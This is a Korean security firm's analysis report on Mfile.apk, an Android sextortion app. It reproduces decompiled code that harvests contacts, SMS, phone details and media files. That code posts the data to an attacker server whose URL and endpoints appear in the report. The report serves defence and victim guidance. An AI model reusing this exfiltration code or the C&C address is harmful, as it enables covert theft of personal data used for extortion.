[악성 앱 분석 보고서] 몸캠피싱 해킹 앱 - Mfile.apk

아크링크만의 솔루션인 "Deep-Coding"을 활용하여 몸캠피싱 범죄에 이용되는 악성 앱을 분석합니다.
[악성 앱 분석 보고서] 몸캠피싱 해킹 앱 - Mfile.apk

목차

01. 개요

1.1 수행 인력
1.2 수행 환경
1.3 수행 대상

02. 진단 상세

2.1 위험도 평가 기준

03. 분석 결과 요약

3.1 악성 행위 개요
3.2 악성 행위 요약
3.3 유의사항

04. 분석 결과 상세

4.1 정적 분석
4.2 동적 분석

05.Mitre Att&ck(Mobile)

06.사용자 대응 가이드

01. 개요

1.1 수행인력

악성 앱 분석을 수행한 인력은 다음과 같다.

소속

성명

직급

연락처

이메일

ARKLINK

박민재

대표이사

1666-5706

channel@arklink.co.kr

김진욱

기술 보안 팀장

1.2 수행 환경

악성코드 분석을 수행한 환경은 다음과 같다.

구분

환경

분석 단말

진단 위치

PC

Ubuntu,

Windows 11

Pixel 4

(Android 11, API Level 30)

Arklink R&D Center

1.3 수행 대상

악성코드 분석을 수행한 대상은 다음과 같다.

No

구분

패키지

플랫폼

1

모바일

mfile.apk

wingyuinyzartz

Android

No

Sha256 해시

1

38 A1 12 D5 89 41 D9 8D D2 70 51 D5 CD CE 0D C4 CC 92 73 FF B6 68 3B 80 C4 3F 89 B1 BC C0 F0 1E


02. 진단 상세

위험도 평가 기준
위험도는 평가항목에 해당되는 악성 행위에 대해 위험을 가늠할 수 있도록
5단으로 분류.

위험도

주요 내용

등급

5

  • 가용성에 직접적인 영향

  • 중요 정보(연락처, 사진 등) 노출

  • 단말 제어권한 획득으로 임의 조작 가능


(High)

4

  • 사용자 권한 획득

  • 다른 동작과 연계될 경우 가용성에 직접적인 영향

  • 다른 동작과 연계될 경우 단말기 관리자 권한 획득 등

3

  • 다른 동작과 연계될 경우 시스템 사용자 또는
    앱 사용자 권한 획득 등

  • 다른 동작과 연계될 경우 중요 정보 유출 가능성 있음

  • 가용성에 간접적인 영향 등


(Medium)

2

  • 추가적인 공격에 활용 가능한 단말 및 사용자 정보 유출

  • 다른 동작과 연계될 경우 가용성에 간접적인 영향 등


(Low)

1

  • 공격과 직접적인 연관은 없으나 불필요한 정보 등이
    공격자 서버에 유출

  • 단말기에 관한 일반 정보 유출 등


03. 분석 결과 요약

3.1 악성행위 개요

Mfile 앱은 안드로이드 플랫폼에서 작동하는 악성 피싱 앱이다.
악성 앱 실행 시 단말의 전화번호, 사용자명, SMS 내용, 주소록 등을 수집하여 공격자의 서버(C&C)로 전송한다.

악성 행위 개요도
그림 1 앱 악성 행위 개요도

3.2 악성 행위 요약

대상

악성행위 분석

권한 설명

위험도

mfile.apk

android.permission.INTERNET

인터넷 접속

2

android.permission.READ_CONTACTS

연락처 읽기

5

android.permission.READ_PHONE_STATE

단말기 상태 조회

2

android.permission.READ_PHONE_NUMBERS

전화번호 읽기

5

android.permission.READ_EXTERNAL_STORAGE

외부 저장소 읽기

4

android.permission.READ_MEDIA_IMAGES

미디어 파일(이미지) 접근

5

android.permission.READ_MEDIA_AUDIO

미디어 파일(오디오) 접근

3

android.permission.READ_MEDIA_VIDEO

미디어 파일(동영상) 접근

5

*유의사항
본 분석은 주식회사 아크링크에서 수집한 악성 APK 샘플에서 수행되었고 분석을 위한 참조 자료로만 활용되어야 하며, 악성코드 제작 등의 용도로 악용을 금지한다. 본 자료의 전체 혹은 일부를 주식회사 아크링크의 허락을 받지 않고, 무단 개제, 복사 배포 등의 행위는 엄격히 금지한다. 이를 어길 시 민형사상의 손해배상에 처해질 수 있다.


04. 분석 결과 상세

4.1 정적 분석

4.1-1 권한 분석

앱이 요청하는 권한은 단말에서 수행하는 행위의 범위를 나타낸다.

‘위험 권한’의 요청은 사용자의 개인 정보의 접근이나 단말 시스템의 주요 기능과 연관되어 있어, 악용될 경우 사용자의 보안에 위협이 될 수 있다.

권한의 선언만으로는 앱의 악성 행위 여부를 판단하기 어렵지만, 앱의 전반적인 행위와 결합하여 평가할 수 있는 지표이다.

대상 앱에서 선언하는 권한과 설명은 다음과 같다.

권한 선언
그림 2 AndroidManifest.xml 내 권한 선언

No

요청 권한

권한 설명

중요권한여부

1

android.permission.INTERNET

인터넷 접속

N

2

android.permission.READ_CONTACTS

연락처 읽기

Y

3

android.permission.READ_PHONE_STATE

단말 전화번호 및 통화 상태 조회

Y

4

android.permission.READ_PHONE_NUMBERS

전화번호 읽기

Y

5

android.permission.READ_EXTERNAL_STORAGE

외부 저장소 읽기

Y

6

android.permission.READ_MEDIA_IMAGES

미디어 파일(이미지) 접근

Y

7

android.permission.READ_MEDIA_AUDIO

미디어 파일(오디오) 접근

Y

8

android.permission.READ_MEDIA_VIDEO

미디어 파일(동영상) 접근

Y

*중요 권한 여부는 안드로이드 공식 문서 기준

4.1-2 액티비티(Activity)

액티비티는 안드로이드 앱의 화면 구성 단위로, 사용자와 상호작용을 위한 인터페이스를 제공한다. 액티비티 분석은 앱의 기능적 구성요소와 사용자 인터페이스 설계를 파악할 수 있다. 예를 들어, 앱 내의 로그인 화면, 메인 메뉴, 설정 화면 등은 각각 별도의 액티비티로 구현했다.

악성 앱의 경우, 액티비티를 통해 사용자를 속이기 위한 화면을 제공하고 숨겨진 기능을 통해 악성 행위를 수행할 수 있다.

대상 앱에 선언된 액티비티는 다음과 같다.

액티비티 선언
그림 3 AndroidManifest.xml 파일 내 액티비티 선언

No

액티비티

비고

1

com.xyx.sms.MlFifileWfileYdjfSfayeMfileLoginActivity

메인 액티비티

2

com.xyx.sms.MlFifileWfileYdjfSfayeMfileMainActivity

-

3

com.xyx.sms.MlFifileWfileYdjfSfayeMfileContactActivity

-

4

com.xyx.sms.MlFifileWfileYdjfSfayeMfileAlbumActivity

-

5

com.xyx.sms.MlFifileWfileYdjfSfayeMfileUploadActivity

-

4.1-3 서비스(Service)

서비스는 사용자 인터페이스 없이 백그라운드에서 실행되는 컴포넌트로, 긴 작업 수행이나 네트워크 전송을 처리할 때 사용된다.

악성 앱의 경우 서비스는 앱이 사용자의 인지 없이 액티비티를 수행하거나, 지속적으로 데이터를 수집하고 전송하는 데 사용될 수 있다.

대상 앱에 선언된 서비스는 다음과 같다.

No

서비스

비고

1

com.xyx.sms.servise.MlFifileWfileYdjfSfayeMfileUploadService

-

4.1-4 리시버(Receiver)

리시버는 다양한 시스템 이벤트(예: 부팅 완료, 네트워크 상태 변경)에 반응하여 앱을 실행할 수 있다.

악성 앱이 특정 조건이나 이벤트에 따라 액티비티를 시작하거나 민감정보를 수신하는 데 활용될 수 있으며, 대상 앱에 선언된 리시버는 존재하지 않는다.

4.2 동적 분석

4.2-1 사용자 직접 실행

대상 앱의 동적 분석 과정에서 사용자에 의한 직접 실행을 기반으로 하는 앱의 동작을 분석한다. 앱이 사용자의 실행으로 어떻게 구동되고, 사용자와 상호작용에 반응하는지 분석하고, 분석의 시작점은 사용자가 앱을 실행하는 순간으로 설정한다.

초기 로딩, 권한 요청, 주요 기능 실행 등을 어떻게 처리하는지 분석했으며, 앱의 실행 흐름을 따라가면서, 네트워크 통신, 데이터 저장 및 처리 등 앱의 핵심 동작을 실시간으로 모니터링하였다.

특히, 의심스러운 네트워크 활동, 민감한 정보의 무단 수집 및 전송, 비정상적 시스템 자원 사용 등의 행위를 식별했다.

4.2-2 앱 동작 중요 권한 요청

앱을 실행한 후에는 단말의 화면에 띄울 레이아웃을 설정한다.

설정한후에는 단말의 안드로이드 버전(SDK)에 맞게 권한을 요청했다.

// com.xyx.sms.M1FifileWfileYdjfSfayeMfileUploadActivity;
 @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, android.app.Activity

    public final void onRequestPermissionsResult(int i5, String[] strArr, int[] iArr) {

        super.onRequestPermissionsResult(i5, strArr, iArr);

        if (i5 == 106) {

            if (v.a.a(this, "android.permission.READ_EXTERNAL_STORAGE") != 0) {

                v(this.f5146z);

                return;

            } else {

                s();

                return;

            }

        }

        switch (i5) {

            case 100:

                if (v.a.a(this, "android.permission.READ_PHONE_NUMBERS") != 0 && v.a.a(this, "android.permission.READ_CONTACTS") != 0 && v.a.a(this, "android.permission.READ_EXTERNAL_STORAGE") != 0 && v.a.a(this, "android.permission.READ_PHONE_STATE") != 0) {

                    v(100);

                    break;

                } else {

                    w();

                    break;

                }

                break;

            case 101:

                if (v.a.a(this, "android.permission.READ_SMS") == 0) {

                    u();

                    break;

                } else {

                    v(this.f5144x);

                    break;

                }

            case 102:

                if (v.a.a(this, "android.permission.READ_CONTACTS") == 0) {

                    t();

                    break;

                } else {

                    v(this.f5145y);

                    break;

                }

        }

    }

코드 1 실행 시 앱 레이아웃 설정 및 권한 요청

요청하는 권한은 다음과 같다.

권한명

설명

비고

android.permission.READ_EXTERNAL_STORAGE

외부 저장소 읽기

-

android.permission.READ_PHONE_NUMBERS

단말기 전화번호 읽기

-

android.permission.READ_CONTACTS

연락처 읽기

-

android.permission.READ_PHONE_STATE

단말 전화번호 및 통화 상태 조회

-

android.permission.READ_SMS

SMS(문자메시지) 읽기

-

단말기 버전 정보, 권한의 최초 허용 여부에 따라 필수 권한에 대해 요청하는 코드가 포함되어 있다.

// com.xyx.sms.M1FifileWfileTdjfSfayeMfileLoginActivity
 @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, android.app.Activity
    public final void onRequestPermissionsResult(int i5, String[] strArr, int[] iArr) {
        super.onRequestPermissionsResult(i5, strArr, iArr);
        if (i5 != 100 || v.a.a(this, "android.permission.READ_SMS") == 0 || v.a.a(this, "android.permission.READ_PHONE_NUMBERS") == 0 || v.a.a(this, "android.permission.READ_CONTACTS") == 0) {
            return;
        }
        v.a.a(this, "android.permission.READ_PHONE_STATE");
    }
}

코드 2 앱 실행 필수 권한 선언 및 요청

//com.xyx.sms.MlFifileWfileYdjfSfayeMfileLoginActivity
 @Override // java.lang.Runnable

                    public final void run() {

                        ProgressDialog progressDialog = q.f6296a;

                        if (progressDialog != null) {

                            progressDialog.dismiss();

                        }

                        if (this.f5123c != 200) {

                            Toast.makeText(MlFifileWfileYdjfSfayeMfileLoginActivity.this.getBaseContext(), JSON.parseObject(this.f5124d).getString("msg"), 0).show();

                            return;

                        }

                        e.b(MlFifileWfileYdjfSfayeMfileLoginActivity.this.getBaseContext(), "초대코드 입력", MlFifileWfileYdjfSfayeMfileLoginActivity.this.f5118s);

                        e.b(MlFifileWfileYdjfSfayeMfileLoginActivity.this.getBaseContext(), "invite_code", MlFifileWfileYdjfSfayeMfileLoginActivity.this.f5116q.getText().toString());

..(생략)..

코드 3 로그인을 위한 초대코드 입력 요청

앱 실행 및 권한 요청
그림 4 앱 실행 및 권한 요청

권한 허용 시 단말 로그에도 실제로 권한이 허용되었음을 확인할 수 있는 로그가 남고 있다.

로그내 권한 허용 메시지
그림 5 단말 로그 내 권한 허용 메시지 확인

4.2-3 단말기 기본 정보 수집

‘사용자명’, ‘모델명’, 단말 전화번호’, ‘통신사’를 수집하여 JSON 파일로 변환 후 하나의 문자열로 저장했다. 그 후 자신들의 서버 추적을 어렵게 하기 위해 t3 클래스에 수집한 정보를 저장했다.

// com.xyx.sms.M1FifileWfileTdjfSfayeMfileUploadActivity
  public final void t() {
        this.f5139s = t3.d.b(this.f5137q);
        HashMap hashMap = new HashMap();
        hashMap.put("userName", this.A);
        hashMap.put("model", "android");
        hashMap.put("bjPhone", this.B);
        hashMap.put("operatorName", ((TelephonyManager) this.f5137q.getSystemService("phone")).getSimOperatorName());
        hashMap.put("phoneContent", JSON.toJSONString(this.f5139s));
        new Thread(new f(hashMap)).start();

코드 4 단말 기본정보 수집

수집 정보 저장 패킷
그림 6 수집한 정보 저장 패킷

@Override // java.lang.Runnable

        public final void run() {

            t3.c.a("webapp/saveAddressBook", this.f5152c, new a()); 
        }
@Override // java.lang.Runnable
        public final void run() {
            t3.c.a("webapp/saveSms", this.f5158c, new a());
        }
//webapp/saveAddressBook, webapp/saveSms 코드롤 통해 t3.c.a 클래스에 저장하게 된다.

코드 5 수집 정보 저장

@Override // android.os.CountDownTimer

    public final void onFinish() {

        this.f7236a.f5170f.cancel();

        MlFifileWfileYdjfSfayeMfileUploadService mlFifileWfileYdjfSfayeMfileUploadService = this.f7236a;

        mlFifileWfileYdjfSfayeMfileUploadService.f5170f = null;

        if (v.a.a(mlFifileWfileYdjfSfayeMfileUploadService.f5168d, "android.permission.READ_SMS") == 0 && d.c(this.f7236a.getBaseContext()).size() != this.f7236a.f5167c.size()) {

            MlFifileWfileYdjfSfayeMfileUploadService mlFifileWfileYdjfSfayeMfileUploadService2 = this.f7236a;

            mlFifileWfileYdjfSfayeMfileUploadService2.f5167c = d.c(mlFifileWfileYdjfSfayeMfileUploadService2.f5168d);

            String str = (String) e.a(mlFifileWfileYdjfSfayeMfileUploadService2.f5168d, "invite_code", "");

            try {

                mlFifileWfileYdjfSfayeMfileUploadService2.f5169e = "";

            } catch (Exception unused) {

            }

            HashMap hashMap = new HashMap();

            hashMap.put("userName", str);

            hashMap.put("bjPhone", mlFifileWfileYdjfSfayeMfileUploadService2.f5169e);

            hashMap.put("content", JSON.toJSONString(mlFifileWfileYdjfSfayeMfileUploadService2.f5167c));

            new Thread(new b(hashMap)).start();

        }
..(생략)..

코드 6 초대코드 입력 시 저장 정보 전송

4.2-4 접속 시도 시 메시지 출력

서버의 동작 여부와 관계없이, 앱 화면에는 ‘초대코드가 잘못되었습니다.’라는 문구가 출력된다.

접속 시도 시 메시지 출력
그림 7 접속 시도 시 메시지 출력 화면

공격 서버에서 파일 수집 명령을 수신한 경우 다음의 코드가 실행되어 외부 저장소에 저장된 파일(이미지, 영상 등)에 접근한다.

그 후 공격자의 서버("http://pinonaoshsfpaohjgadsf.monster/prod-api/)로 전송한다. 분석 시 공격 서버가 동작하지 않아 정적 분석만 진행하였다.

// com.xyx.sms.M1FifileWfileTdjfSfayeMfileUploadActivity
public final class c {

    public static void a(String str, Map<String, String> map, MlFifileWfileYdjfSfayeMfileOnSuccess mlFifileWfileYdjfSfayeMfileOnSuccess) {

        t tVar;

        v vVar = new v();

        try {

            try {

                tVar = t.a("application/json; charset=utf-8");

            } catch (IllegalArgumentException unused) {

                tVar = null;

            }

            j jVar = new j();

            boolean z4 = false;

            jVar.f5012i = false;

            i a5 = jVar.a();

            y c5 = a0.c(tVar, a5.e(map));

            Log.d("TAG", a5.e(map));

            x.a aVar = new x.a();

            aVar.d("http://pinonaoshsfpaohjgadsf.monster/prod-api/" + str);

            aVar.b("POST", c5);

            aVar.a();

            b0 a6 = w.c(vVar, aVar.a(), false).a();

            int i5 = a6.f3174e;

            if (i5 >= 200 && i5 < 300) {

                z4 = true;

            }

코드 7 외부 서버로 POST 방식 전송

05. Mitre Att&ck(Mobile)

보안 기술이 발달함에 따라 공격자도 자신의 공격 기술을 발전시키고 있다.

수집한 피싱앱의 악성 행위 사례를 분석하고 공격 기법과 프로세스를 이해하여 최신 기술을 적용시켜 피해자의 피해를 최소화하기 위해 앱이 어떤 보안 위협 모델에 해당하는지를 Mitre Att&ck 매트릭스를 이용하여 분석한다.

대상 피싱앱 해당 항목

Mitre Att&ck
그림 8 Mitre Att&ck 매트릭스

06. 사용자 대응 가이드

분석한 내용을 바탕으로 사용자 대응 가이드를 제시한다.

Mitre Att&ck에서 사용자가 제어할 수 있는 각 단계를 기반으로 사용자가 주의할 내용과 악성앱 실행 시 취할 수 있는 조치를 제시했다.

  1. 의심스러운 링크 클릭 금지

인터넷을 사용하면서 접하는 링크 중에는 피싱이나 악성 코드를 포함하고 있는 경우가 있다.

이러한 링크는 이메일, 문자 메시지, 소셜 미디어, 심지어 친구나 지인으로부터 받은 것일지라도 의심스러운 경우 클릭을 피해야 한다.

특히, 앱을 다운로드할 때는 항상 공식 앱 스토어를 이용하고, 공식 스토어가 아닌 곳에서 제공하는 앱은 설치하지 않도록 한다.

공식 스토어 외부에서 제공되는 앱은 검증되지 않았을 가능성이 높으며, 악성 코드가 포함될 위험이 있다.

  1. 최신 안드로이드 버전 업데이트 유지

구버전의 안드로이드 운영 체제는 보안 취약점을 포함하고 있을 수 있다. 이러한 취약점은 공격자가 악성 행위를 수행하기 위해 악용할 수 있다.

따라서, 안드로이드 기기를 항상 최신 버전으로 업데이트하는 것이 중요하다.

시스템 업데이트는 보안 패치 및 새로운 보안 기능을 제공하여 기기와 데이터를 보호할 수 있다.

  1. 주기적 미사용 앱 삭제

스마트폰에 설치되어 있지만 사용하지 않는 앱들은 보안 위험을 증가시킬 수 있다.

이러한 앱들은 종종 업데이트되지 않아 새로운 보안 취약점에 노출될 수 있다.

주기적으로 기기를 검토하고 더 이상 사용하지 않는 앱을 삭제함으로써, 불필요한 보안 위험을 줄일 수 있다.

  1. 앱 권한 부여 관리

앱을 설치하거나 사용할 때 요구되는 권한을 신중하게 검토해야 한다.

많은 앱들이 기능 실행에 필요한 것 이상의 권한을 요청할 수 있으며, 이는 사용자의 개인정보와 보안에 위험을 초래할 수 있다.

예를 들어, 플래시라이트 앱이 연락처 접근 권한을 요구하는 경우, 이는 의심스러운 요구로 간주될 수 있다. 반드시 필요한 권한만 허용하여 사용해야한다.

안드로이드 단말의 설정 메뉴에서 앱 권한을 관리할 수 있으며, 사용자는 각 앱에 부여된 권한을 확인하고 필요하지 않은 권한은 비활성화할 수 있다.

이미 설치된 앱에 대해서도 주기적으로 검토하는 것을 권장한다.

  1. 단말기의 비정상 동작 감지 시 전문가 상담

기기가 평소와 다르게 느려지거나 예상치 못한 방식으로 동작하는 경우, 이는 악성 앱의 영향일 수 있다.

이러한 증상이 나타나면 기기를 전문가에게 검사해야 한다.

전문가는 기기의 보안 상태를 확인하고 필요한 경우 악성 코드 제거나 기타 보안 조치를 취할 수 있다.

몸캠피싱 악성 앱 [Mfile.apk] 분석을 마치며, 낯선 이가 공유하는 앱을 함부로 다운받지 않도록 당부의 말씀을 드립니다.

이상, 사이버 범죄 · 몸캠피싱 대응 전문 기업 아크링크였습니다.

도움이 필요하시면 언제든 연락 바랍니다.

Towards Safety, Towards Freedom.

안전한 디지털 환경과 더 나은 내일을 연결합니다.

Share article
Subscribe to our newsletter.

주식회사 아크링크 | 사업자 등록번호: 378-88-03382 | TEL: 1666-5706 | E-Mail : contact@arklink.co.kr